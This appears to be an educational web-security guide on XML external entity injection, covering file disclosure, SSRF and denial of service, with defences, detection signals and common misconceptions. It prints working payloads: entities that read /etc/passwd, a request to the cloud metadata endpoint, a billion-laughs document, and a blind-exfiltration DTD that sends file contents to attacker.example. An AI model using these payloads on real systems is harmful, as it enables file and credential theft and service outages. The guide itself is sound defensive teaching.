Skip to content
pwnsy
web-securityintermediate#xxe#web-security#owasp#xml#appsec

XXE Injection: XML External Entities, File Disclosure & SSRF

How XML external entity injection reads local files, triggers SSRF, and crashes parsers, plus how disabling DTDs and external entities stops it.

XML has a feature most developers never knowingly use: a document can define an entity that points at an external resource, and a compliant parser will go fetch that resource and paste its contents into the document. Turn that feature loose on attacker-supplied XML and the parser becomes a tool for reading files off the server and making requests into the internal network. That is XML external entity injection, XXE.

The vulnerability is not a bug in the XML standard so much as a dangerous default in how parsers implement it. For years, common XML libraries resolved external entities out of the box, so any endpoint that parsed user-supplied XML without hardening the parser was exposed. The impact ranges from quietly reading configuration secrets to full server-side request forgery.

How XML entities work

An XML document can declare entities in a Document Type Definition, or DTD. An internal entity is a simple text substitution. An external entity tells the parser to load content from a URI, which is where the trouble starts.

A benign internal entity looks like this:

<!DOCTYPE foo [ <!ENTITY company "Pwnsy"> ]>
<data>&company;</data>

The parser replaces &company; with Pwnsy. Harmless. Now change the entity to point at a file:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>

If the parser resolves external entities, it reads /etc/passwd from the server's filesystem and substitutes its contents wherever &xxe; appears. When the application echoes that XML value back in a response, the attacker reads the file. The application never intended to expose the filesystem. The parser did it on the application's behalf.

The SYSTEM keyword is the pivot. It tells the parser the entity's value is a resource to be retrieved from the identifier that follows rather than the literal text of that identifier. A parser that honors it will dutifully open whatever the identifier names, whether that is a file path, an HTTP URL, or another scheme the underlying library supports. The application code that called the parser sees none of this. It asked for a document to be parsed and got back a fully populated object, unaware that populating it involved reaching out to the filesystem or the network.

There are two kinds of entity that matter for exploitation. A general entity, declared as <!ENTITY name ...> and referenced in the document body with &name;, is the type shown above. A parameter entity, declared as <!ENTITY % name ...> and referenced inside the DTD itself with %name;, lives one level deeper in the parsing machinery. The distinction becomes important later, because some hardening turns off one type and leaves the other reachable. Attackers who study parser internals gravitate toward whichever entity type the defense forgot.

The scheme handlers available to an entity depend on the language and library underneath the parser. Java parsers have historically exposed a wide range, including file, http, https, ftp, jar, and netdoc, and some of those schemes have their own quirks that widen the attack. The jar scheme, for instance, can make a Java parser fetch and open an archive, which has been abused to hold a connection open or to reach files inside packaged resources. The practical lesson is that the entity URI is only a request, and what that request can do is decided by the runtime, so two applications with the same parser configuration on different platforms can present very different attack surfaces.

A worked example: reading a file through a form field

It helps to trace a concrete flow end to end. Picture an application that accepts an XML document describing an order and returns a confirmation that echoes the customer name back to the browser. The intended request looks like this:

<order>
  <customer>Jordan</customer>
  <item>SKU-4471</item>
</order>

The server parses that, pulls out the customer element, and renders "Thank you, Jordan" in the response. Now an attacker submits a document that declares an external entity and uses it where the customer name belongs:

<!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<order>
  <customer>&xxe;</customer>
  <item>SKU-4471</item>
</order>

If the parser resolves external entities, it reads the host file, substitutes the contents into the customer element, and the application dutifully renders "Thank you, " followed by the server's hostname. The attacker changed nothing about the application logic. They supplied a document that instructed the parser to fetch a file, and the reflection feature the developer built for names became a file viewer.

The same document with file:///etc/passwd returns a list of accounts. With a path to the application's own configuration it can return database credentials. The only constraints are what the process user can read and what the reflected element will faithfully print. Files with characters that break XML parsing, such as raw ampersands or angle brackets, may fail to substitute cleanly, which is why attackers often wrap the read in a base64 conversion where the platform allows it. On some Java and PHP stacks a filter or wrapper can encode the file first, so the entity returns printable text that always survives the parse.

The two headline impacts

File disclosure

The example above is the canonical XXE: point an external entity at a local file and have the application reflect it back. Attackers read /etc/passwd, application source, configuration files holding database credentials, cloud credential files, and private keys. Anything the application's user account can read is in scope.

SSRF via XXE

An external entity URI does not have to be a file:// path. Point it at an HTTP URL and the parser makes the request:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<data>&xxe;</data>

Now the XML parser is a server-side request forgery engine. It reaches internal-only services and, in the cloud, the instance metadata endpoint that hands out temporary credentials. This is why XXE and SSRF are cousins: XXE gives an attacker a parser that fetches URLs from inside your network. For the full picture of what a request from inside the perimeter can reach, see our SSRF explainer.

Denial of service: billion laughs

XXE also enables a classic amplification attack using only internal entities, no external fetch required:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>

Each level multiplies the previous one tenfold. A few more layers and a document a few hundred bytes long expands into gigabytes in memory, taking the process down. This is the billion-laughs attack, and it is why disabling DTD processing entirely is the safest posture.

Blind XXE and out-of-band exfiltration

Many real targets never reflect the parsed XML back in a response. That does not make them safe. Blind XXE uses out-of-band channels to move data off the server.

The attacker hosts an external DTD that defines parameter entities to read a local file and then send its contents to an attacker-controlled server as part of a URL:

  • The vulnerable parser fetches the attacker's external DTD.
  • The DTD reads a local file into an entity.
  • The DTD triggers a request to the attacker's server with the file contents embedded in the URL or an error message.

The attacker never sees the application's HTTP response. They read the exfiltrated data from their own server's logs. Timing and error-based variants extend this further. Blind XXE is slower and noisier, and it is fully exploitable.

There is a wrinkle worth knowing. Some parsers block external general entities but still resolve external parameter entities, the kind used inside the DTD itself. Blind XXE techniques often rely on parameter entities precisely because they slip past a half-measure that only hardened the more obvious case. This is the practical argument for disabling DTD processing wholesale rather than turning off one entity type and assuming the job is done. A partial configuration that stops the textbook file-read example can still leave the out-of-band exfiltration path wide open.

XXE hides in file uploads

XXE reaches well past endpoints that obviously accept XML. Many file formats are XML underneath: SVG images, DOCX and XLSX office documents, SAML authentication assertions, RSS and Atom feeds, and SOAP requests. An image uploader that processes SVG server-side, or a single sign-on flow that parses SAML, can be an XXE entry point even though no field is labeled "XML". Audit every parser that touches user-controlled data, including the ones you would never think of as XML APIs.

Where XXE hides

The vulnerability lives anywhere the server parses XML it did not author. Common locations:

SurfaceWhy it parses XML
SOAP web servicesThe protocol is XML end to end
SAML single sign-onAssertions are signed XML documents
File uploads (SVG, DOCX, XLSX)These formats are ZIP-wrapped or raw XML
RSS and Atom ingestionFeeds are XML
Configuration and data import"Import from XML" features
Legacy APIsXML request bodies predating JSON

The delivery vector often matters as much as the parser. A malicious SVG or office document is a file-format payload, and understanding how those formats smuggle active content is its own discipline, covered in our attacker file formats guide. Our file-formats reference on data.pwnsy.com maps which container formats carry XML underneath and how they are abused in real delivery, so you can identify which of your upload and import endpoints are quietly XML parsers.

The reason this surface is so wide is that XML became the default interchange format for a generation of enterprise software, and much of that plumbing is still in production. A modern JSON front end can sit on top of a SOAP or SAML back end that parses XML with a decade-old library and its original insecure defaults. The parser doing the dangerous work is frequently not the one the developer is thinking about, which is why an inventory of every place XML is parsed, including transitive library behavior, is worth more than spot checks on the obvious endpoints.

How to defend against XXE

The good news is that XXE has a clean, decisive fix. Unlike injection flaws that require careful input handling, XXE can be shut off at the parser.

  1. Disable DTD processing entirely. If your application does not need DTDs, and almost none do, configure every XML parser to reject documents that contain a DOCTYPE. This single setting removes external entities and billion-laughs in one move. It is the recommended default.
  2. If you must allow DTDs, disable external entity resolution. Turn off both external general entities and external parameter entities in the parser configuration. Consult the OWASP cheat sheet for the exact flags per language and library, since the setting names differ.
  3. Prefer less dangerous data formats. Where you control the interface, accept JSON instead of XML. JSON has no entity mechanism and no external-fetch feature, so this class of bug does not apply.
  4. Patch and update XML libraries. Some older parsers made insecure choices by default that newer versions fixed. Keep them current.
  5. Validate and constrain uploads. For features that must accept XML-backed files like SVG, process them with a hardened parser and consider server-side sanitization or rendering that strips DOCTYPE declarations.
  6. Apply SSRF controls as a backstop. Because XXE can trigger outbound requests, the same allowlisting and network segmentation that limit SSRF also limit the blast radius of an XXE that reaches the fetch stage.
One setting, whole class of bugs

XXE is unusual among web vulnerabilities because a single correct parser configuration eliminates it across an entire application. Make "DTDs disabled, external entities off" the standard for every XML parser in your stack, enforce it in a shared parsing utility rather than per-endpoint, and new code inherits the protection automatically.

Walking through a blind XXE exfiltration

The out-of-band case deserves a step-by-step trace, because it is the version most people find confusing. Assume the application parses the attacker's XML but never reflects any value back. The attacker still wants a file. They set up two pieces: a payload sent to the target, and a malicious DTD hosted on a server they control.

The payload sent to the target declares a parameter entity that pulls in the attacker's external DTD:

<!DOCTYPE data [
  <!ENTITY % remote SYSTEM "http://attacker.example/evil.dtd">
  %remote;
]>
<data>ping</data>

When the vulnerable parser processes this, the %remote; reference forces it to fetch evil.dtd from the attacker's server. That fetch alone confirms the vulnerability, because the attacker sees the inbound request in their own logs even if the application returns nothing useful. The hosted DTD then does the real work:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://attacker.example/collect?x=%file;'>">
%wrapper;
%send;

Read from the top. The file parameter entity reads the local file. The wrapper entity builds a second entity definition whose value embeds the file contents inside a URL pointing back at the attacker. The final %send; reference triggers that outbound request, carrying the file contents in the query string. The attacker reads the exfiltrated data straight out of their web server access log. No part of the application response ever needed to show the data.

This construction relies entirely on parameter entities, which is why a defense that only blocks external general entities does nothing here. It is also why error-based variants exist: if the outbound HTTP fetch is firewalled, an attacker can instead craft a DTD that forces the file contents into a parser error message, and where the application returns parse errors to the client the data leaks through the error text. Each variant chips at a different assumption an incomplete defense might rely on.

A confirmed outbound fetch is already a finding

If a test payload causes the server to fetch an attacker-controlled URL, the vulnerability is proven even when no file has leaked yet. That single callback demonstrates the parser resolves external entities and reaches the network, which is enough to pursue file disclosure, internal SSRF, or denial of service. Treat any parser that phones home to a canary URL as exploitable and fix it, rather than waiting for a full data-exfiltration proof.

Detection signals

XXE leaves traces on both the sending and receiving side, and knowing where to look shortens both offensive testing and defensive monitoring.

  • Outbound requests from a parsing host to unexpected destinations. An application server that suddenly makes DNS lookups or HTTP requests to external domains during an XML parse is a strong signal. A canary token or a unique subdomain per test makes this unambiguous, because any resolution of that name traces back to the exact payload that carried it.
  • Requests to link-local and internal addresses. Traffic aimed at 169.254.169.254, localhost, or RFC 1918 ranges originating from a service that parses user XML points at XXE-driven SSRF. Egress logs and cloud VPC flow logs surface this.
  • File-scheme access patterns. On hosts with filesystem auditing, reads of /etc/passwd, /etc/hostname, or application secret files by an XML-parsing process, close in time to a request, indicate file disclosure attempts.
  • Malformed or entity-heavy XML in request bodies. A DOCTYPE declaration, a SYSTEM or PUBLIC keyword, or nested entity definitions in inbound XML on an endpoint that never expected them is worth flagging. A web application firewall can match these tokens, with the caveat that encoding and obfuscation can evade naive string rules.
  • Parser errors and latency spikes. Billion-laughs and quadratic-blowup payloads show up as sudden memory pressure, CPU saturation, or a burst of parser exceptions on one endpoint. A parse that normally takes milliseconds and suddenly runs for seconds is a tell.

None of these signals is conclusive on its own, and a hardened parser produces none of them because it refuses the DOCTYPE outright. That is the point: detection is a backstop for the times the primary configuration control was missed, and it is most useful when the outbound network path is the thing being watched.

XXE sits in a family of server-side injection and request-forgery flaws, and comparing them clarifies what makes it distinct.

TechniqueAttacker controlsCore primitivePrimary fix
XXEXML parsed by the serverFile read plus outbound fetch via entitiesDisable DTDs and external entities
SSRFA URL the server will fetchRequests from inside the networkValidate and allowlist outbound targets
Path traversalA filename the server will openRead files outside the intended directoryCanonicalize and confine paths
Server-side template injectionInput rendered by a template engineCode execution in the template contextNever render user input as a template
DeserializationSerialized object bytesObject graph and gadget-driven executionAvoid native deserialization of untrusted data

XXE is unusual in the group because a single primitive delivers both a file read and an outbound request, which is why it so often chains into the others. An XXE that reaches the cloud metadata endpoint is doing SSRF. An XXE that reads arbitrary paths overlaps with path traversal. The mapped identifier in the taxonomies is CWE-611 (Improper Restriction of XML External Entity Reference), and the denial-of-service variant maps to CWE-776 (Improper Restriction of Recursive Entity References, the billion-laughs pattern). In the MITRE ATT&CK enterprise matrix the network-pivot behavior aligns with T1190 (Exploit Public-Facing Application).

Common mistakes and misconceptions

Several beliefs about XXE are widespread and wrong, and each one leaves a real gap.

"We block external entities, so we are safe." Blocking external general entities while leaving parameter entities reachable stops the textbook file-read example and leaves the out-of-band exfiltration path open. Disabling DTD processing entirely is the setting that closes both.

"We only accept JSON, so XXE does not apply." A JSON front end can sit on a SOAP or SAML back end, and libraries that accept JSON sometimes also accept XML when a content type is switched. The question is which parsers ever touch user data, not which format the public API advertises.

"Our parser is modern, so the defaults are safe." Some libraries did harden their defaults, and many did not, and the behavior varies by version and by which factory or feature flags the code enables. Relying on an assumed default rather than an explicit configuration is how the vulnerability survives upgrades.

"XXE needs the response reflected to be exploitable." Blind XXE moves data out of band and needs no reflection at all. An endpoint that returns a fixed success message is still exploitable if the parser fetches attacker URLs.

"It is just a file read, so it is low severity." The same primitive reaches internal services and cloud metadata, where it can retrieve temporary credentials and pivot deeper. Rating XXE on the file-read case alone understates it.

How XXE became a standard finding

External entities were part of XML from its early standardization, when the format was designed for document interchange and fetching a referenced resource was a feature, not a threat. The security implications surfaced as XML spread from documents into web service payloads, where the parser was suddenly handling data from anonymous internet clients rather than trusted authors. Through the 2000s and into the 2010s XML sat under SOAP, SAML, RSS, and a wave of office and image formats, and the same permissive entity behavior that made sense for documents became a server-side liability.

Awareness grew as researchers demonstrated the out-of-band and parameter-entity techniques that made blind cases practical, and the flaw earned its own place in the OWASP Top 10 as a distinct category for a cycle before being folded into a broader grouping in later editions. The folding reflected better default configurations in some libraries, not the disappearance of the bug. Legacy XML plumbing keeps the technique relevant, because a great deal of enterprise software still parses XML with the assumptions of its original design.

Frequently asked questions

Is XXE only a problem for endpoints that obviously accept XML? No. Many file formats are XML underneath, including SVG, DOCX, XLSX, and SAML assertions, and any feature that parses one of them is a potential XXE entry point even when nothing is labeled XML.

Does disabling external entities fully fix XXE? It fixes the file-read and SSRF cases only if you disable both external general and external parameter entities. Disabling DTD processing entirely is more robust, because it also removes the billion-laughs denial-of-service path and closes the parameter-entity route used by blind exfiltration.

Can XXE lead to remote code execution? Usually the direct impact is file disclosure, SSRF, and denial of service. Code execution is possible in specific stacks, for example where an expect-style wrapper is available to the parser, but it is platform dependent and far less common than the file and network primitives.

Why is JSON recommended as a mitigation? JSON has no entity mechanism and no external-fetch feature, so this class of bug simply does not apply to a JSON parser. Where you control the interface, accepting JSON removes the attack surface rather than trying to harden around it.

How is blind XXE different from classic XXE? Classic XXE reflects the parsed value back in the response, so the attacker reads the file directly. Blind XXE never reflects anything and instead exfiltrates data over an out-of-band channel, typically an HTTP request to the attacker's server or data smuggled into a parser error message.

What is the single most effective control? Configure a shared, hardened XML parser with DTDs disabled and reuse it everywhere, so no individual endpoint has to remember the setting and new code inherits the protection automatically.

XXE turns a routine parsing step into a file-read and network-pivot primitive, and it has quietly sat inside SOAP services, SAML flows, and image uploaders for a decade. The defense is not subtle. Disable DTDs, turn off external entities, prefer JSON where you can, and centralize the hardened parser so no future endpoint reopens the door.

Sources & further reading

Sharetwitterlinkedin

Related guides